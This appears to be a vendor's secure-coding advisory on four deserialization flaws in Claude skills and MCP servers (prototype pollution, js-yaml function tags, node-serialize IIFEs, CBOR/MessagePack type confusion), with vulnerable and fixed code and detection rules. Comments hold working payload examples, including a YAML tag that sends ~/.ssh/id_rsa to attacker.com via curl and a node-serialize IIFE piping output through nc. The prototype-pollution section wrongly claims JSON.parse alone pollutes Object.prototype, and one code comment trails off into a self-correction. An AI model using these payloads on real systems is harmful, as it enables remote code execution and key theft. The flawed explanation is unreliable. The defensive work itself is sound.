Claude skill serialization and deserialization security
Claude skills frequently deserialize external data — JSON from API responses, YAML from config files, binary payloads from message queues. When that data originates from or passes through user-controlled sources, unsafe deserialization patterns can lead to prototype pollution, remote code execution, type confusion, and denial-of-service. Four patterns form the SA-SKL-SRL family: JSON.parse without schema validation enabling prototype chain manipulation, YAML deserialized with an eval-capable schema, node-serialize executing embedded IIFE function expressions, and binary format deserialization with unchecked type tags.
Deserialization vulnerabilities in Claude skills are distinct from classic server-side deserialization because the untrusted input path often runs through the LLM itself. A skill that parses a JSON payload from a user-provided URL, a document the LLM processed, or a webhook payload from an external system is deserializing data that passed through an untrusted intermediary. Even when the skill believes it is only processing data the LLM “cleaned”, the LLM does not sanitize serialized data — it passes through opaque binary-like strings unchanged. The SA-SKL-SRL family documents four distinct deserialization paths that result in code execution or data corruption.
SA-SKL-SRL-001: JSON.parse without schema validation enables prototype pollution
JavaScript’s JSON.parse is safe against code execution, but the resulting object can contain a __proto__ key (or constructor, prototype) that pollutes the prototype chain of all plain objects in the process. Skills that parse user-supplied JSON and then use the parsed object’s properties to drive control flow — without validating that the object matches an expected schema — are vulnerable to prototype pollution attacks. An attacker who can supply a JSON payload with {"__proto__": {"isAdmin": true}} or {"constructor": {"prototype": {"authorized": true}}} can inject properties onto Object.prototype, causing every subsequent if (user.isAdmin) or if (config.authorized) check in the process to return true.
// VULNERABLE: JSON.parse without schema validation — prototype pollution
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'process_config') {
const { configJson } = req.params.arguments;
const config = JSON.parse(configJson); // user-supplied JSON string
// Attacker passes: {"__proto__": {"skipAuth": true, "isAdmin": true}}
// After parse: Object.prototype.skipAuth = true, Object.prototype.isAdmin = true
// Every subsequent plain object check in this process is poisoned:
if (config.debug) { // also triggers on {} since {}.debug is now undefined... wait
// Actually the dangerous part is checks on OTHER objects later in execution
}
const userRecord = await db.getUser(config.userId);
// userRecord is a plain object from DB — but prototype chain is polluted
if (userRecord.isAdmin) { // ← true for every user due to prototype pollution
return grantAdminAccess();
}
}
});
// ALSO VULNERABLE: merging parsed JSON into config without schema check
const parsed = JSON.parse(userInput);
Object.assign(globalConfig, parsed); // prototype keys propagate into globalConfig
// SECURE: use JSON.parse with schema validation (ajv, zod, typebox)
import { z } from 'zod';
const ConfigSchema = z.object({
userId: z.string().uuid(),
debug: z.boolean().optional(),
// No __proto__, constructor, or prototype keys in schema
});
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'process_config') {
const { configJson } = req.params.arguments;
let rawParsed;
try {
rawParsed = JSON.parse(configJson);
} catch {
throw new Error('Invalid JSON in configJson argument');
}
const config = ConfigSchema.parse(rawParsed); // throws if schema invalid
// config is now a validated, schema-bounded object — no prototype pollution possible
const userRecord = await db.getUser(config.userId);
if (userRecord.isAdmin) { /* safe — config cannot have polluted isAdmin */ }
}
});
// ALSO SECURE: use Object.create(null) for intermediate parsed objects
const config = Object.assign(Object.create(null), JSON.parse(userInput));
// Object.create(null) has no prototype — pollution doesn't propagate to Object.prototype
// DETECTION (SkillAudit):
// Find JSON.parse calls in tool handlers whose result is used without schema validation
const unsafeParses = findJSONParseWithoutSchemaValidation();
if (unsafeParses.length > 0) → HIGH // SA-SKL-SRL-001
// Find Object.assign or spread with parsed JSON into existing objects
const unsafeMerges = findMergesOfParsedJSON();
if (unsafeMerges.length > 0) → HIGH // SA-SKL-SRL-001
JSON.parse itself does not execute code, but prototype pollution does: the danger is not in parsing but in the subsequent use of poisoned prototype properties. A single JSON.parse(userInput) with a __proto__ key can affect every object allocation in the process for its entire remaining lifetime, including objects created in completely unrelated request handlers by other users in a hosted deployment.
JSON.parse of user-supplied strings without schema validation: __proto__ key injection pollutes Object.prototype, silently overriding authorization checks and feature flags in the process. Detection: JSON.parse in tool handler without downstream schema validation call → HIGH.SA-SKL-SRL-002: js-yaml with DEFAULT_FULL_SCHEMA enables YAML tag RCE
The js-yaml library supports three schema levels: JSON_SCHEMA (safe), DEFAULT_SCHEMA (formerly SAFE_SCHEMA — safe in v4+), and DEFAULT_FULL_SCHEMA (unsafe). The full schema supports YAML type tags including !!js/function, !!js/regexp, !!js/undefined, and critically !!js/eval (in some versions) and !!js/function, which allow embedding function source code directly in YAML that is then eval’d during deserialization. Skills that process user-supplied YAML configuration files, webhook payloads in YAML format, or configuration objects passed as tool arguments using yaml.load(input) (which defaults to DEFAULT_FULL_SCHEMA in js-yaml v3) are vulnerable to arbitrary code execution when the YAML contains a function tag.
// VULNERABLE: js-yaml v3 default schema includes !!js/function
import yaml from 'js-yaml';
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'apply_config') {
const { yamlConfig } = req.params.arguments;
// js-yaml v3: yaml.load() uses DEFAULT_FULL_SCHEMA by default
const config = yaml.load(yamlConfig);
// Attacker supplies:
// schedule: !!js/function >
// function() { require('child_process').execSync('curl http://attacker.com/$(cat ~/.ssh/id_rsa)') }
// yaml.load executes the function body during parsing → RCE
applyConfig(config);
}
});
// ALSO VULNERABLE: using yaml.loadAll with full schema
const configs = yaml.loadAll(userYaml); // applies full schema to each document
// ALSO VULNERABLE: any older version of js-yaml where load() has full schema default
// js-yaml v3.x: yaml.load() = !!js/function capable
// js-yaml v4.x: yaml.load() defaults to DEFAULT_SCHEMA (safe), full schema removed
// SECURE: always specify safe schema explicitly
import yaml from 'js-yaml';
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'apply_config') {
const { yamlConfig } = req.params.arguments;
// Explicitly use JSON_SCHEMA (safest — only JSON types) or DEFAULT_SCHEMA (v4 default)
const config = yaml.load(yamlConfig, { schema: yaml.JSON_SCHEMA });
// JSON_SCHEMA: only null, bool, int, float, string — no JS type tags
applyConfig(config);
}
});
// ALSO SECURE: use a purpose-built safe YAML loader
import { parseDocument } from 'yaml'; // 'yaml' package (not 'js-yaml')
// 'yaml' package has no equivalent of DEFAULT_FULL_SCHEMA; all parsing is safe by default
const doc = parseDocument(userYaml);
const config = doc.toJS();
// DETECTION (SkillAudit):
// Find yaml.load() calls without explicit schema option (vulnerable in v3)
const unsafeLoad = findYAMLLoadWithoutSchema();
if (unsafeLoad.length > 0) → CRITICAL // SA-SKL-SRL-002
// Check package.json for js-yaml v3.x dependency
const yamlVersion = getPackageVersion('js-yaml');
if (yamlVersion && semver.lt(yamlVersion, '4.0.0')) → CRITICAL // SA-SKL-SRL-002
js-yaml v4 changed the default schema but removed the full schema entirely: upgrading from js-yaml v3 to v4 removes the !!js/function tag support completely. However, projects that pin to v3 for compatibility or haven’t upgraded are still vulnerable even if they never explicitly set DEFAULT_FULL_SCHEMA, because yaml.load() in v3 defaults to it. Check your package-lock.json — not just package.json — to confirm the installed version.
js-yaml v3 yaml.load() without explicit safe schema, or any call using DEFAULT_FULL_SCHEMA: !!js/function tags in YAML execute arbitrary JavaScript during deserialization. Detection: yaml.load without { schema: yaml.JSON_SCHEMA } or js-yaml < 4.0.0 in package-lock → CRITICAL.SA-SKL-SRL-003: node-serialize or serialize-javascript deserializes function expressions
The node-serialize package (and similar serializers like serialize-javascript in deserialize mode) supports serializing JavaScript values including functions and regular expressions. When the serialized string contains an Immediately Invoked Function Expression (IIFE) — a pattern like {"rce":"_$$ND_FUNC$$_function(){...}()"} — the deserializer executes the function body during deserialization. Skills that use node-serialize to deserialize any user-supplied data, stored configuration, or inter-process messages achieve full code execution via a crafted payload that wraps malicious code in an IIFE. This vulnerability (CVE-2017-5941) is well-known but still found in skills that copied serialization patterns from older Node.js tutorials.
// VULNERABLE: node-serialize.unserialize() executes IIFEs
import serialize from 'node-serialize';
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'restore_session') {
const { sessionData } = req.params.arguments;
// Attacker supplies:
// {"username":"_$$ND_FUNC$$_function(){require('child_process').exec('id | nc attacker.com 8080')}()"}
const session = serialize.unserialize(sessionData); // ← RCE during deserialization
await restoreUserSession(session);
}
});
// ALSO VULNERABLE: serialize-javascript used as a deserializer
// serialize-javascript is safe for serialization but NOT designed for deserialization
// Any eval()-based deserialization of its output is RCE-equivalent
// ALSO VULNERABLE: custom eval-based deserialization
function deserialize(str) {
return eval('(' + str + ')'); // ← any user input deserialized as JavaScript
}
const data = deserialize(req.params.arguments.payload); // RCE
// SECURE: use JSON for serialization; never deserialize with node-serialize
// Store sessions as JSON in SQLite or Redis
import { createHash } from 'crypto';
async function saveSession(userId, data) {
// Serialize as JSON — only data types, no functions
const serialized = JSON.stringify(data);
await db.run('INSERT OR REPLACE INTO sessions (id, data) VALUES (?, ?)', [userId, serialized]);
}
async function loadSession(userId) {
const row = await db.get('SELECT data FROM sessions WHERE id = ?', [userId]);
if (!row) return null;
// JSON.parse is safe — no IIFE execution
return JSON.parse(row.data);
}
// SECURE: if you need custom serialization, use a schema-validated binary format
// msgpack5 with schema validation, protobuf with compiled schema, etc.
// DETECTION (SkillAudit):
// Find require/import of node-serialize
const usesNodeSerialize = findImport('node-serialize');
if (usesNodeSerialize) → CRITICAL // SA-SKL-SRL-003
// Find eval() calls anywhere in tool handler code paths
const evalCalls = findEvalCalls();
if (evalCalls.length > 0) → CRITICAL // SA-SKL-SRL-003
// Find new Function() calls with non-literal string arguments
const dynamicNewFunction = findNewFunctionWithDynamicArg();
if (dynamicNewFunction.length > 0) → CRITICAL // SA-SKL-SRL-003
node-serialize is never safe for untrusted input: there is no configuration flag or schema option that makes node-serialize.unserialize() safe. The IIFE execution is fundamental to how it handles function serialization. The correct fix is to not use node-serialize for any data that has passed through a user-controlled channel, including data stored in databases or caches that users can write to.
node-serialize.unserialize() or eval()-based deserialization of user-supplied data: IIFE-wrapped payloads execute arbitrary code during deserialization with full process privileges. Detection: node-serialize import or eval()/new Function() with non-literal arguments in tool handlers → CRITICAL.SA-SKL-SRL-004: CBOR or MessagePack deserialization with type confusion
Binary serialization formats like CBOR (Concise Binary Object Representation) and MessagePack use type tags to indicate data types during deserialization. When a skill deserializes binary payloads from external sources without validating the type tags, an attacker can craft a payload where a tag indicates an unexpected type — a number tag on a value expected to be a string, a byte-string tag where an integer is expected, or a tagged value type where a plain value is expected. Type confusion vulnerabilities in deserializers can trigger unhandled exceptions that leak internal paths, cause integer overflow in numeric operations following deserialization, or in some deserializer implementations execute code via extension type handlers. Skills using CBOR or MessagePack to accept data from webhook endpoints or inter-process queues without schema validation expose all four paths.
// VULNERABLE: CBOR deserialization without type validation — type confusion
import { decode } from 'cbor';
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'process_binary_data') {
const { encodedPayload } = req.params.arguments;
const payloadBuf = Buffer.from(encodedPayload, 'base64');
// No type checking — attacker controls CBOR type tags
const data = decode(payloadBuf);
// Attacker sends CBOR with tag 260 (network-address extension)
// or tag 1 (epoch-based datetime) where code expects a plain integer
// Some CBOR decoders execute registered tag handlers automatically
// Type confusion:
const userId = data.userId; // expects integer, attacker sent string "1 OR 1=1"
const amount = data.amount * 100; // expects number, attacker sent "999999999999999"
// BigInt/integer overflow; unbounded multiplication
await chargeUser(userId, amount);
}
});
// ALSO VULNERABLE: MessagePack with custom extension type handlers
import msgpack from 'msgpack5';
const mp = msgpack();
// Attacker-defined extension type can trigger registered handler
mp.register(0x42, Date, (obj) => msgpack.encode(obj), (buf) => new Date(buf.readDoubleBE(0)));
// If attacker controls type tag byte (0x42 here), registered handler executes with their data
// SECURE: validate deserialized data against a schema before use
import { decode } from 'cbor';
import { z } from 'zod';
const PayloadSchema = z.object({
userId: z.number().int().positive().max(2147483647),
amount: z.number().positive().max(100000), // max $1000.00 in cents
currency: z.enum(['usd', 'eur', 'gbp']),
});
server.setRequestHandler('tools/call', async (req) => {
if (req.params.name === 'process_binary_data') {
const { encodedPayload } = req.params.arguments;
let data;
try {
data = decode(Buffer.from(encodedPayload, 'base64'));
} catch (e) {
throw new Error('Invalid binary payload: CBOR decode failed');
}
// Schema validation enforces types and ranges — type confusion cannot propagate
const payload = PayloadSchema.parse(data);
await chargeUser(payload.userId, payload.amount);
}
});
// DETECTION (SkillAudit):
// Find cbor/msgpack decode calls without schema validation on the result
const unsafeCBOR = findDecodeCallsWithoutSchemaValidation(['cbor', 'msgpack5', '@msgpack/msgpack']);
if (unsafeCBOR.length > 0) → HIGH // SA-SKL-SRL-004
// Find msgpack.register() calls with custom extension type handlers in tool code paths
const customExt = findMessagePackExtensionHandlers();
if (customExt.length > 0) → HIGH // SA-SKL-SRL-004
Schema validation is the universal fix across all SA-SKL-SRL patterns: whether the format is JSON, YAML, a binary serializer, or a custom protocol, validating deserialized output against a strict schema (using zod, ajv, typebox, or valibot) before using any deserialized values eliminates prototype pollution, type confusion, and unauthorized property injection. Validation should specify exact types, numeric ranges, allowed string enumerations, and maximum lengths — not just check for the presence of required fields.
cbor.decode / msgpack.decode in tool handlers without downstream schema validation → HIGH.SA-SKL-SRL summary
| ID | Pattern | Severity | Impact |
|---|---|---|---|
| SA-SKL-SRL-001 | JSON.parse without schema validation; result used in control flow | HIGH | Prototype pollution silently overrides authorization and feature flag checks |
| SA-SKL-SRL-002 | js-yaml v3 yaml.load() without explicit safe schema | CRITICAL | !!js/function YAML tags execute arbitrary JavaScript during parse |
| SA-SKL-SRL-003 | node-serialize.unserialize() or eval()-based deserialization | CRITICAL | IIFE payloads execute arbitrary code with full process privileges |
| SA-SKL-SRL-004 | CBOR/MessagePack decode without schema validation on result | HIGH | Type confusion → integer overflow, SQL injection, extension handler execution |
How SkillAudit detects SA-SKL-SRL patterns
SkillAudit’s static analysis walks the AST of every JavaScript and TypeScript file in the skill package. For SA-SKL-SRL-001, it identifies JSON.parse call sites and traces the resulting value through data flow to determine whether a schema validation call (zod, ajv, typebox) precedes any property access used in conditional logic. For SA-SKL-SRL-002, it identifies yaml.load and yaml.loadAll calls, checks for the schema option, and cross-references the installed js-yaml version in package-lock.json. SA-SKL-SRL-003 detection checks imports for node-serialize and scans for eval() or new Function(str) with non-literal string arguments anywhere in tool handler call paths. SA-SKL-SRL-004 identifies binary-format decode calls and verifies that schema validation wraps their output.
Run a free SkillAudit scan on your Claude skill or MCP server to check all four SA-SKL-SRL patterns alongside SA-SKL-SBX sandbox escape, SA-SKL-DEP supply chain attacks, SA-SKL-TLS certificate validation, and SA-SKL-NET undisclosed egress.